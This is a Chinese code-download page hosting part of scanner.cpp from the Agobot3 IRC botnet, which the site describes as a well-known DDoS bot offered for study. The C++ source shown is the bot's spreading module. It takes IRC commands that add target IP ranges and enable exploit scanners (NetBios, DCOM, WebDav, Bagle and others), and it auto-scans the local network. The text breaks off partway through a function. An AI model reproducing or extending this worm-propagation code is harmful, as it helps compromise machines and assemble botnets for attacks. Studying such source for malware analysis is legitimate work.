⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 scanner.cpp.svn-base

📁 很有名的一款用于组织DDoS的恶意机器人程序。仅供研究学习
💻 SVN-BASE
📖 第 1 页 / 共 2 页
字号:
/*	Agobot3 - a modular IRC bot for Win32 / Linux
	Copyright (C) 2003 Ago

	This program is free software; you can redistribute it and/or
	modify it under the terms of the GNU General Public License
	as published by the Free Software Foundation; either version 2
	of the License, or (at your option) any later version.

	This program is distributed in the hope that it will be useful,
	but WITHOUT ANY WARRANTY; without even the implied warranty of
	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
	GNU General Public License for more details.

	You should have received a copy of the GNU General Public License
	along with this program; if not, write to the Free Software
	Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA  02111-1307, USA. */

#include "main.h"
#include "scanner.h"
#include "mainctrl.h"

CMutex g_mScanner;

ScannerInfo		g_iScanners[64]=
{	{ NULL, 0, NULL, false, 0, NULL, false }, { NULL, 0, NULL, false, 0, NULL, false },
	{ NULL, 0, NULL, false, 0, NULL, false }, { NULL, 0, NULL, false, 0, NULL, false },
	{ NULL, 0, NULL, false, 0, NULL, false }, { NULL, 0, NULL, false, 0, NULL, false },
	{ NULL, 0, NULL, false, 0, NULL, false }, { NULL, 0, NULL, false, 0, NULL, false },
	{ NULL, 0, NULL, false, 0, NULL, false }, { NULL, 0, NULL, false, 0, NULL, false },
	{ NULL, 0, NULL, false, 0, NULL, false }, { NULL, 0, NULL, false, 0, NULL, false },
	{ NULL, 0, NULL, false, 0, NULL, false }, { NULL, 0, NULL, false, 0, NULL, false },
	{ NULL, 0, NULL, false, 0, NULL, false }, { NULL, 0, NULL, false, 0, NULL, false },
	{ NULL, 0, NULL, false, 0, NULL, false }, { NULL, 0, NULL, false, 0, NULL, false },
	{ NULL, 0, NULL, false, 0, NULL, false }, { NULL, 0, NULL, false, 0, NULL, false },
	{ NULL, 0, NULL, false, 0, NULL, false }, { NULL, 0, NULL, false, 0, NULL, false },
	{ NULL, 0, NULL, false, 0, NULL, false }, { NULL, 0, NULL, false, 0, NULL, false },
	{ NULL, 0, NULL, false, 0, NULL, false }, { NULL, 0, NULL, false, 0, NULL, false },
	{ NULL, 0, NULL, false, 0, NULL, false }, { NULL, 0, NULL, false, 0, NULL, false },
	{ NULL, 0, NULL, false, 0, NULL, false }, { NULL, 0, NULL, false, 0, NULL, false },
	{ NULL, 0, NULL, false, 0, NULL, false }, { NULL, 0, NULL, false, 0, NULL, false },
	{ NULL, 0, NULL, false, 0, NULL, false }, { NULL, 0, NULL, false, 0, NULL, false },
	{ NULL, 0, NULL, false, 0, NULL, false }, { NULL, 0, NULL, false, 0, NULL, false },
	{ NULL, 0, NULL, false, 0, NULL, false }, { NULL, 0, NULL, false, 0, NULL, false },
	{ NULL, 0, NULL, false, 0, NULL, false }, { NULL, 0, NULL, false, 0, NULL, false },
	{ NULL, 0, NULL, false, 0, NULL, false }, { NULL, 0, NULL, false, 0, NULL, false },
	{ NULL, 0, NULL, false, 0, NULL, false }, { NULL, 0, NULL, false, 0, NULL, false },
	{ NULL, 0, NULL, false, 0, NULL, false }, { NULL, 0, NULL, false, 0, NULL, false },
	{ NULL, 0, NULL, false, 0, NULL, false }, { NULL, 0, NULL, false, 0, NULL, false },
	{ NULL, 0, NULL, false, 0, NULL, false }, { NULL, 0, NULL, false, 0, NULL, false },
	{ NULL, 0, NULL, false, 0, NULL, false }, { NULL, 0, NULL, false, 0, NULL, false },
	{ NULL, 0, NULL, false, 0, NULL, false }, { NULL, 0, NULL, false, 0, NULL, false },
	{ NULL, 0, NULL, false, 0, NULL, false }, { NULL, 0, NULL, false, 0, NULL, false },
	{ NULL, 0, NULL, false, 0, NULL, false }, { NULL, 0, NULL, false, 0, NULL, false },
	{ NULL, 0, NULL, false, 0, NULL, false }, { NULL, 0, NULL, false, 0, NULL, false },
	{ NULL, 0, NULL, false, 0, NULL, false }, { NULL, 0, NULL, false, 0, NULL, false },
	{ NULL, 0, NULL, false, 0, NULL, false }, { NULL, 0, NULL, false, 0, NULL, false } };

int				g_iPortsToScan[64] = { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 };
int volatile	g_iNumScanThreads=0;
list<CScannerBase*> g_lScanners;

bool ParseNetRange(const CString &sInput, CNetRange &nRange)
{	// Netrange is never longer than 18 characters
	if(sInput.GetLength()>18) return false;

	// Get temp storage and copy the string
	char *szTemp=new char[sInput.GetLength()+2];
	sprintf(szTemp, "%s", sInput.CStr());

	// Get number of dots and slashes in the string
	int iDotCount=0, iSlashCount=0;
	for(int i=0; i<strlen(szTemp); i++)
	{	if(szTemp[i]=='.') iDotCount++;
		else if(szTemp[i]=='/') iSlashCount++; }

	// If there are no 3 dots or there is no slash, fail
	if(iDotCount!=3) { delete [] szTemp; return false; }
	if(iSlashCount!=1) { delete [] szTemp; return false; }

	// Make a copy of the string into a CString and parse it
	CString sTemp(szTemp);
	nRange.iPart1=atoi(sTemp.Token(0, "/").Token(0, ".").CStr());
	nRange.iPart2=atoi(sTemp.Token(0, "/").Token(1, ".").CStr());
	nRange.iPart3=atoi(sTemp.Token(0, "/").Token(2, ".").CStr());
	nRange.iPart4=atoi(sTemp.Token(0, "/").Token(3, ".").CStr());
	nRange.iNetMask=atoi(sTemp.Token(1, "/").CStr());

	// Fail if the parts are 0
	if(!nRange.iPart1 && !nRange.iPart2 && !nRange.iPart3 && !nRange.iPart4)
	{	delete [] szTemp; return false; }

	// Fail if the netmask is not a multiple of 8
	if((nRange.iNetMask%8)!=0)
	{	delete [] szTemp; return false; }

	// Success
	delete [] szTemp; return true; }

void RegisterScanner(ScannerInfo *pScanner)
{	int i; for(i=0; i<sizeof(g_iScanners); i++)
	{	ScannerInfo *pTemp=&g_iScanners[i];
		if(pTemp->pAllocator==NULL)
		{	memcpy(pTemp, pScanner, sizeof(ScannerInfo));
			break; } }

	for(i=0; i<sizeof(g_iPortsToScan); i++)
	{	int *pPort=&g_iPortsToScan[i];
		if(*pPort==pScanner->sPort) break;
		if(!*pPort) { *pPort=pScanner->sPort; break; } }
}

ScannerInfo *GetScannerByPort(const unsigned short sPort, int iIndex=0)
{	if(!sPort) return NULL;
	int iIndexNow=0; for(int i=0; i<sizeof(g_iScanners); i++)
	{	
		ScannerInfo *pTemp=&g_iScanners[i];
		if(pTemp->pAllocator==NULL || pTemp->szScannerName==NULL || pTemp->sPort==0)
			break;

		if(pTemp->sPort==sPort)
		{
			if(iIndexNow==iIndex) return pTemp;
			iIndexNow++;
		}
	}
	return NULL; }

ScannerInfo *GetScannerByName(const char *szName, int iIndex=0)
{	if(!szName) return NULL;
	int iIndexNow=0; for(int i=0; i<sizeof(g_iScanners); i++)
	{	ScannerInfo *pTemp=&g_iScanners[i];
		if(pTemp->pAllocator==NULL || pTemp->szScannerName==NULL)
			break;
		if(!strcmp(pTemp->szScannerName, szName))
		{
			if(iIndexNow==iIndex) return pTemp;
			iIndexNow++;
		}
	}
	return NULL; }

void IncrementScanStats(const char *szScannerName, const short sPort)
{	if(!sPort || !szScannerName) return;
	for(int i=0; i<sizeof(g_iScanners); i++)
	{	ScannerInfo *pTemp=&g_iScanners[i];
		if(pTemp->pAllocator==NULL || pTemp->szScannerName==NULL)
			break;
		if(!strcmp(pTemp->szScannerName, szScannerName) && pTemp->sPort==sPort)
		{
			*pTemp->pScanStats++; break;
		}
	}
}

void ResetScanStats()
{	for(int i=0; i<sizeof(g_iScanners); i++)
	{	ScannerInfo *pTemp=&g_iScanners[i]; if(pTemp->pAllocator==NULL) continue;
		*pTemp->pScanStats=0; } }

void CNetRange::operator=(const CNetRange &nRange)
{	iPart1=nRange.iPart1; iPart2=nRange.iPart2;
	iPart3=nRange.iPart3; iPart4=nRange.iPart4;
	iNetMask=nRange.iNetMask; iPriority=nRange.iPriority;
	bSilent=nRange.bSilent; bNotice=nRange.bNotice;
	sReplyTo=nRange.sReplyTo; pScanner=nRange.pScanner; }

bool CNetRange::operator==(const CNetRange &nRange)
{	return	( 	(iPart1==nRange.iPart1) && \
				(iPart2==nRange.iPart2) && \
				(iPart3==nRange.iPart3) && \
				(iPart4==nRange.iPart4) && \
				(iNetMask==nRange.iNetMask) ); }

void CScanner::Init()
{	m_bScanning=false;

	REGCMD(m_cmdAddNetRange,	"scan.addnetrange",		"adds a netrange to the scanner",					false,	this);
	REGCMD(m_cmdDelNetRange,	"scan.delnetrange",		"deletes a netrange from the scanner",				false,	this);
	REGCMD(m_cmdListNetRanges,	"scan.listnetranges",	"lists all netranges registered with the scanner",	false,	this);
	REGCMD(m_cmdClearNetRanges,	"scan.clearnetranges",	"clears all netranges registered with the scanner",	false,	this);
	REGCMD(m_cmdResetNetRanges,	"scan.resetnetranges",	"resets netranges to the localhost",				false,	this);
	REGCMD(m_cmdEnableScanner,	"scan.enable",			"enables a scanner module",							false,	this);
	REGCMD(m_cmdDisableScanner,	"scan.disable",			"disables a scanner module",						false,	this);
	REGCMD(m_cmdScanStartAll,   "scan.startall",		"enable all Scanners and start scanning",			false,	this);
	REGCMD(m_cmdScanStopAll,    "scan.stopall",			"disable all Scanners and stop scanning",			false,	this);
	REGCMD(m_cmdStart,			"scan.start",			"signal start to child threads",					false,	this);
	REGCMD(m_cmdStop,			"scan.stop",			"signal stop to child threads",						false,	this);
	REGCMD(m_cmdStats,			"scan.stats",			"displays stats of the scanner",					false,	this);

	m_cPortScanner.AddLocalLAN();

	// Start a non-dynamic, auto-restarting thread
	m_cPortScanner.Start(false, true);

//	m_cPortScanner.EnableScanner("NetBios");
//	m_cPortScanner.EnableScanner("DW");
//	m_cPortScanner.EnableScanner("DCOM");
//	m_cPortScanner.EnableScanner("Doom");

//	m_bScanning=true;
}

bool CScanner::HandleCommand(CMessage *pMsg)
{	CNetRange nRange;
	g_mScanner.Lock();

	if(!pMsg->sCmd.Compare("scan.addnetrange")) {
		CString sNetRange=pMsg->sChatString.Token(1, " ");
		CString sPriority=pMsg->sChatString.Token(2, " ");
		nRange.iPriority=atoi(sPriority.CStr());
		nRange.pScanner=this; nRange.sReplyTo=pMsg->sReplyTo;
		nRange.bNotice=pMsg->bNotice; nRange.bSilent=pMsg->bSilent;

		if(ParseNetRange(sNetRange, nRange))
			m_cPortScanner.RegisterNetRange(&nRange); }

	else if(!pMsg->sCmd.Compare("scan.delnetrange")) {
		CString sNetRange=pMsg->sChatString.Token(1, " ");

		if(ParseNetRange(sNetRange, nRange))
			m_cPortScanner.RemoveNetRange(&nRange); }


	else if(!pMsg->sCmd.Compare("scan.resetnetranges")) {
		m_cPortScanner.m_lNetRanges.clear();
	    m_cPortScanner.AddLocalLAN(); }
	
	else if(!pMsg->sCmd.Compare("scan.listnetranges")) {
		g_pMainCtrl->m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, "-[ netrange list ]-", pMsg->sReplyTo.Str());
		list<CNetRange>::iterator i; int iCount=0;
		for(i=m_cPortScanner.m_lNetRanges.begin(); i!=m_cPortScanner.m_lNetRanges.end(); i++)
		{	iCount++; g_pMainCtrl->m_cIRC.SendFormat(pMsg->bSilent, pMsg->bNotice, pMsg->sReplyTo, "%d. mask: %d.%d.%d.%d/%d prio: %d", iCount,
				(*i).iPart1, (*i).iPart2, (*i).iPart3, (*i).iPart4, (*i).iNetMask, (*i).iPriority);
			Sleep(1500); } }

	else if(!pMsg->sCmd.Compare("scan.clearnetranges"))
		m_cPortScanner.m_lNetRanges.clear();

	else if(!pMsg->sCmd.Compare("scan.enable"))
		m_cPortScanner.EnableScanner(pMsg->sChatString.Token(1, " ").CStr());

	else if(!pMsg->sCmd.Compare("scan.disable"))
		m_cPortScanner.DisableScanner(pMsg->sChatString.Token(1, " ").CStr());

	else if(!pMsg->sCmd.Compare("scan.start"))
		m_bScanning=true;

	else if(!pMsg->sCmd.Compare("scan.stop"))
		m_bScanning=false;

	//just change it back if you disagree.
    else if(!pMsg->sCmd.Compare("scan.startall")) {
		m_cPortScanner.EnableScanner("NetBios");
		m_cPortScanner.EnableScanner("DCOM");
		m_cPortScanner.EnableScanner("Doom");
		m_cPortScanner.EnableScanner("DW");
		m_cPortScanner.EnableScanner("WKS");
		m_cPortScanner.EnableScanner("Bagle");
		m_cPortScanner.EnableScanner("WebDav");
		m_bScanning=true; }

    else if(!pMsg->sCmd.Compare("scan.stopall")) {
		m_cPortScanner.DisableScanner("NetBios");
		m_cPortScanner.DisableScanner("DCOM");
		m_cPortScanner.DisableScanner("Doom");
		m_cPortScanner.DisableScanner("DW");
		m_cPortScanner.DisableScanner("WKS");
		m_cPortScanner.DisableScanner("Bagle");
		m_cPortScanner.DisableScanner("WebDav");
		m_bScanning=false; }

	else if(!pMsg->sCmd.Compare("scan.stats")) {
		CString sStatsBuf("exploited stats:");

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -